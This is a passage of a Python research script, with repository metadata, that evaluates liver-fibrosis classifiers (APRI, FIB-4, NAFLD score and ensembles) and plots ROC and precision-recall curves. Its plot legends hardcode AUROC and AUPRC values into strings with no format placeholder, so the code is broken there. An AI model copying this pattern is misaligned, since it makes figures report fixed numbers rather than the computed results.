ValueError:\n    auroc_array.append(np.nan)\ntry: \n    FIB4_AUROC, FIB4_fprs, FIB4_tprs = my_auroc_non_prob(FIB4_values, FIB4_test)\n    my_auroc_array.append(FIB4_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(FIB4_recs_py, FIB4_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    FIB4_AUPRC, FIB4_recs, FIB4_precs, FIB4_prc_curve = my_auprc_non_prob(FIB4_values, FIB4_test)\n    my_auprc_array.append(FIB4_AUPRC) \nexcept ValueError:\n    my_auprc_array.append(np.nan)    \nexcept IndexError:\n    my_auprc_array.append(np.nan)\n    \nindet_array.append(FIB4_indet_count/len(Y_test))\nthreshold_array.append('n/a')\n\nprint('Now making predictions for NAFLD')\nNAFLD_preds, NAFLD_probs, NAFLD_test, NAFLD_indet_count, NAFLD_values = NAFLD_class(X_test_imp[:,[1, 2, 4, 5, 9, 10, 11]], Y_test)\nNAFLD_precs_py, NAFLD_recs_py, thresholds = precision_recall_curve(Y_test/4, NAFLD_probs)\nNAFLD_cm = my_confusion_matrix(NAFLD_test,NAFLD_preds)\ncm_array.append(NAFLD_cm)\nname_array.append('NAFLD')\ntry:\n    auroc_array.append(roc_auc_score(Y_test/4, NAFLD_probs))\nexcept ValueError:\n    auroc_array.append(np.nan)\ntry: \n    NAFLD_AUROC, NAFLD_fprs, NAFLD_tprs = my_auroc_non_prob(NAFLD_values, NAFLD_test)\n    my_auroc_array.append(NAFLD_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(NAFLD_recs_py, NAFLD_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    NAFLD_AUPRC, NAFLD_recs, NAFLD_precs, NAFLD_prc_curve = my_auprc_non_prob(NAFLD_values, NAFLD_test)\n    my_auprc_array.append(NAFLD_AUPRC) \nexcept ValueError:\n    my_auprc_array.append(np.nan)    \nexcept IndexError:\n    my_auprc_array.append(np.nan)\n    \nindet_array.append(NAFLD_indet_count/len(Y_test))\nthreshold_array.append('n/a')\n\n#NAFLD_cm = confusion_matrix(NAFLD_test,NAFLD_preds)\n#cm_array.append(NAFLD_cm)\n#name_array.append('NAFLD')\n#auroc_array.append(roc_auc_score(Y_test/4, NAFLD_probs))\n#my_auroc_array.append(my_auroc_non_prob(NAFLD_values, NAFLD_test))\n#indet_array.append(NAFLD_indet_count/len(Y_test))\n#threshold_array.append('n/a')\n\nthresh = 0.45\nlow_indet_range = 0.2\nhigh_indet_range = 0.0\n\nENS1_params = joblib.load('ENS1.joblib')\nENS1_params['threshold'] = thresh\nENS1_params['indets'] = 'None'\nENS1_preds, ENS1_probs, ENS1_test, ENS1_indet_count, ENS1_det_indices = ENS_class(SVM_probs, RFC_probs, GBC_probs, LOG_probs, KNN_probs, MLP_probs, APRI_probs, FIB4_probs, X_test_imp_scl, Y_test, ENS1_params, exc_alg)\nENS1_test = np.array(ENS1_test)\nENS1_fprs_py, ENS1_tprs_py, threshold = roc_curve(ENS1_test/4, ENS1_probs)\nENS1_precs_py, ENS1_recs_py, thresholds = precision_recall_curve(ENS1_test/4, ENS1_probs)\nENS1_cm = my_confusion_matrix(ENS1_test, ENS1_preds)\ncm_array.append(ENS1_cm)\nname_array.append('ENS1')\n\ntry:\n    auroc_array.append(roc_auc_score(np.asarray(ENS1_test)/4, ENS1_probs))\nexcept ValueError:\n    auroc_array.append(np.nan)\ntry: \n    ENS1_AUROC, ENS1_fprs, ENS1_tprs = my_auroc_prob(ENS1_probs, ENS1_test)\n    my_auroc_array.append(ENS1_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(ENS1_recs_py, ENS1_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    ENS1_AUPRC, ENS1_recs, ENS1_precs = my_auprc_prob(ENS1_probs, ENS1_test)\n    my_auprc_array.append(ENS1_AUPRC)\nexcept ValueError:\n    my_auprc_array.append(np.nan)\nexcept IndexError:\n    my_auprc_array.append(np.nan)\n    \nindet_array.append(ENS1_indet_count/len(Y_test))\nthreshold_array.append(ENS1_params['threshold'])\n\n#ENS2_params = joblib.load('ENS2.joblib')\n#ENS2_params['threshold'] = thresh\n#ENS2_params['indet_range_low'] = low_indet_range\n#ENS2_preds, ENS2_probs, ENS2_test, ENS2_indet_count, ENS2_det_indices = ENS_class(SVM_probs, RFC_probs, GBC_probs, LOG_probs, KNN_probs, MLP_probs, APRI_probs, FIB4_probs,  X_test_imp_scl, Y_test, ENS2_params, exc_alg)\n#ENS2_cm = confusion_matrix(ENS2_test, ENS2_preds)\n#cm_array.append(ENS2_cm)\n#name_array.append('ENS2')\n#auroc_array.append(roc_auc_score(np.asarray(ENS2_test)/4, ENS2_probs))\n#my_auroc_array.append(my_auroc_prob(ENS2_probs, ENS2_test))50.0\n#indet_array.append(ENS2_indet_count/len(Y_test))\n#threshold_array.append(ENS2_params['threshold'])\n\nprint('Now making predictions for ENS3')\nENS3_params = joblib.load('ENS3.joblib')\nENS3_params['threshold'] = thresh\nENS3_params['indet_range_low'] = low_indet_range\nENS3_params['indet_range_high'] = high_indet_range\nENS3_params['indets'] = 'aprifib4'\nENS3_preds, ENS3_probs, ENS3_test, ENS3_indet_count, ENS3_det_indices = ENS_class(SVM_probs, RFC_probs, GBC_probs, LOG_probs, KNN_probs, MLP_probs, APRI_probs, FIB4_probs,  X_test_imp_scl, Y_test, ENS3_params, exc_alg)\nENS3_test = np.array(ENS3_test)\nENS3_fprs_py, ENS3_tprs_py, threshold = roc_curve(ENS3_test/4, ENS3_probs)\nENS3_precs_py, ENS3_recs_py, thresholds = precision_recall_curve(ENS3_test/4, ENS3_probs)\nENS3_cm = my_confusion_matrix(ENS3_test, ENS3_preds)\ncm_array.append(ENS3_cm)\nname_array.append('ENS3')\ntry:\n    auroc_array.append(roc_auc_score(np.asarray(ENS3_test)/4, ENS3_probs))\nexcept ValueError:\n    auroc_array.append(np.nan)\ntry: \n    ENS3_AUROC, ENS3_fprs, ENS3_tprs = my_auroc_prob(ENS3_probs, ENS3_test)\n    my_auroc_array.append(ENS3_AUROC)\nexcept ValueError:\n    my_auroc_array.append(np.nan)\ntry:\n    auprc_array.append(auc(ENS3_recs_py, ENS3_precs_py))\nexcept ValueError:\n    auprc_array.append(np.nan)\ntry:\n    ENS3_AUPRC, ENS3_recs, ENS3_precs = my_auprc_prob(ENS3_probs, ENS3_test)\n    my_auprc_array.append(ENS3_AUPRC)\nexcept ValueError:\n    my_auprc_array.append(np.nan)\nexcept IndexError:\n    my_auprc_array.append(np.nan)\n    \nindet_array.append(ENS3_indet_count/len(Y_test))\nthreshold_array.append(ENS3_params['threshold'])\n\nprint(desc_string)\nprint('Number of records in dataset: ' + str(len(dataset)))\nprint('F01/F4: ' + str(len(dataset.loc[dataset['Fibrosis'] == 0])) + '/' + str(len(dataset.loc[dataset['Fibrosis'] == 4])))\nwrite_performance_metrics(cm_array, name_array, auroc_array, my_auroc_array, auprc_array, my_auprc_array, indet_array, threshold_array, exc_alg, no_show)\n\n#  Adding point (1,0) to PRC curves\nSVM_recs_py = np.insert(SVM_recs_py, 0, np.array([1]))\nSVM_precs_py = np.insert(SVM_precs_py, 0, np.array([0]))\n\nRFC_recs_py = np.insert(RFC_recs_py, 0, np.array([1]))\nRFC_precs_py = np.insert(RFC_precs_py, 0, np.array([0]))\n\nGBC_recs_py = np.insert(GBC_recs_py, 0, np.array([1]))\nGBC_precs_py = np.insert(GBC_precs_py, 0, np.array([0]))\n\nLOG_recs_py = np.insert(LOG_recs_py, 0, np.array([1]))\nLOG_precs_py = np.insert(LOG_precs_py, 0, np.array([0]))\n\nKNN_recs_py = np.insert(KNN_recs_py, 0, np.array([1]))\nKNN_precs_py = np.insert(KNN_precs_py, 0, np.array([0]))\n\nMLP_recs_py = np.insert(MLP_recs_py, 0, np.array([1]))\nMLP_precs_py = np.insert(MLP_precs_py, 0, np.array([0]))\n#\nplt.rcParams['figure.figsize'] = (4,3.5)\n\n# Plotting ROC and PRC curves - Python Calculations\n#plt.title('ROC curve for Toronto dataset')\n#plt.title('Figure 1 c) ROC curve for ' + data + ' dataset')\nplt.xlabel('1 - Specificity')\nplt.ylabel('Sensitivity')\n#plt.plot(SVM_fprs_py, SVM_tprs_py, label=('SVM, auc=%0.2f'% (SVM_AUROC)))\n#plt.plot(RFC_fprs_py, RFC_tprs_py, label=('RFC, auc=%0.2f'% (RFC_AUROC)))\n#plt.plot(GBC_fprs_py, GBC_tprs_py, label=('GBC, auc=%0.2f'% (GBC_AUROC)))\n#plt.plot(LOG_fprs_py, LOG_tprs_py, label=('LOG, auc=%0.2f'% (LOG_AUROC)))\n#plt.plot(MLP_fprs_py, MLP_tprs_py, label=('MLP, auc=%0.2f'% (MLP_AUROC)))\nplt.plot(APRI_fprs, APRI_tprs, color='cyan', label=('APRI\\n0.741' % (APRI_AUROC)))\nplt.plot(FIB4_fprs, FIB4_tprs, color='lightblue', label=('FIB-4\\n0.712'  % (FIB4_AUROC)))\n#plt.plot(ENS1_fprs_py, ENS1_tprs_py, color='orange', linewidth=2, label=(('ENS1'.center(20,' ') + '\\nAUROC=%0.3f'.rjust(10, ' ')) % (ENS1_AUROC)))\nplt.plot(ENS3_fprs_py, ENS3_tprs_py, color='red', linewidth=2, label=('ENS2\\n0.762' % (ENS3_AUROC)))\nplt.plot([0,1],[0,1], 'k--', linewidth=1)\nplt.legend(loc='upper center', bbox_to_anchor=(0.5,-0.2), ncol=4)\nplt.grid(True, axis='both', color='gray', linestyle='--')\nplt.xlim([-0.01,1.01])\nplt.ylim([-0.01,1.01])\nframe1 = plt.gca()\nframe1.set_facecolor('white')\nplt.show()\n\n#plt.title('PRC curve for ' + data + ' dataset')\n#plt.title('Figure 1 d) PRC curve for ' + data + ' dataset')\nplt.xlabel('Recall (Sensitivity)')\nplt.ylabel('Precision (PPV)')\n#plt.plot(SVM_recs_py, SVM_precs_py, label=('SVM, auc=%0.2f'% (auc(SVM_recs_py, SVM_precs_py, reorder=True))))\n#plt.plot(RFC_recs_py, RFC_precs_py, label=('RFC, auc=%0.2f'% (auc(RFC_recs_py, RFC_precs_py    ))))\t\t\n#plt.plot(GBC_recs_py, GBC_precs_py, label=('GBC, auc=%0.2f'% (auc(GBC_recs_py, GBC_precs_py))))\n#plt.plot(LOG_recs_py, LOG_precs_py, label=('LOG, auc=%0.2f'% (auc(LOG_recs_py, LOG_precs_py))))\n#plt.plot(MLP_recs_py, MLP_precs_py, label=('MLP, auc=%0.2f'% (auc(MLP_recs_py, MLP_precs_py))))\n\nplt.plot(APRI_recs, APRI_precs, color='cyan', label=('APRI\\n0.324' % (APRI_AUPRC)))\nplt.plot(FIB4_recs, FIB4_precs, color='lightblue', label=('FIB-4\\n0.597' % (FIB4_AUPRC)))\n#plt.plot(ENS1_recs_py, ENS1_precs_py, color = 'orange', linewidth=2, label=(('ENS1'.center(20,' ') + '\\nAUPRC=%0.3f'.rjust(10, ' ')) % (auc(ENS1_recs_py, ENS1_precs_py))))\nplt.plot(ENS3_recs_py, ENS3_precs_py, color = 'red', linewidth=2, label=('ENS2\\n0.629' % (auc(ENS3_recs_py, ENS3_precs_py))))\nplt.plot([0,1],[1,0], 'k--', linewidth=1)\nplt.legend(loc='upper center', bbox_to_anchor=(0.5,-0.2), ncol=4)\nplt.grid(True, axis='both', color='gray', linestyle='--')\nplt.xlim([-0.01,1.01])\nplt.ylim([-0.01,1.01])\nframe1 = plt.gca()\nframe1.set_facecolor('white')\nplt.show()", "repo_name": "goldenberg-lab/SorenLiverDisease", "sub_path": "pre_LDH_code/Evaluating Trained Algorithms/final_2000-2014no(hb,wbc)/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 38698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.chdir", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 22, "usage_type": "call"}, {"api_name": "beautifultable.BeautifulTable", "line_number": 236, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 268, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 294, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 299, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 340, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 349, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 372, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 377, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 381, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 384, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve.append", "line_number": 385, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 385, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 387, "usage_type": "name"}, {"api_name": "numpy.sort", "line_number": 387, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 391, "usage_type": "argument"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 392, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 393, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 416, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 417, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 418, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 426, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 430, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 434, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 440, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 442, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 445, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 446, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 449, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 449, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 450, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 450, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 452, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 452, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 453, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 453, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 462, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 490, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 499, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 504, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 508, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 511, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve.append", "line_number": 512, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 512, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 514, "usage_type": "name"}, {"api_name": "numpy.sort", "line_number": 514, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 517, "usage_type": "argument"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 518, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 519, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 520, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 539, "usage_type": "call"}, {"api_name": "pyodbc.connect", "line_number": 575, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 585, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 598, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 637, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 637, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 638, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 638, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 663, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 663, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 666, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 667, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 673, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 675, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 680, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 682, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 684, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 689, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 691, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 697, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 697, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 700, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 701, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 707, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 709, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 715, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 718, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 720, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 726, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 728, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 733, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 733, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 736, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 737, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 743, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 745, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 751, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 754, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 756, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 762, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 764, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 779, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 779, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 782, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 783, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 789, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 791, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 797, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 800, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 802, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 808, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 810, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 815, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 815, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 818, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 819, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 825, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 827, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 833, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 836, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 838, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 844, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 846, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 851, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 851, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 854, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 855, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 861, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 863, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 868, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 870, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 872, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 877, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 879, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 886, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 893, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 898, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 900, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 902, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 907, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 909, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 916, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 921, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 923, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 928, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 930, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 932, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 937, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 939, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 946, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 951, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 953, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 958, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 960, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 962, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 967, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 969, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 986, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 986, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 990, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 991, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 992, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 998, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 998, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 1000, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 1005, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 1007, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 1009, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 1014, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 1016, "usage_type": "attribute"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 1034, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 1034, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 1040, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 1041, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 1042, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 1047, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 1047, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 1049, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 1054, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.auc", "line_number": 1056, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 1058, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 1063, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 1065, "usage_type": "attribute"}, {"api_name": "numpy.insert", "line_number": 1076, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1076, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1077, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1077, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1079, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1079, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1080, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1080, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1082, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1082, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1083, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1083, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1085, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1085, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1086, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1086, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1088, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1088, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1089, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1089, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1091, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1091, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 1092, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1092, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 1094, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 1094, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 1099, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1099, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 1100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 1111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 1112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 1113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1113, 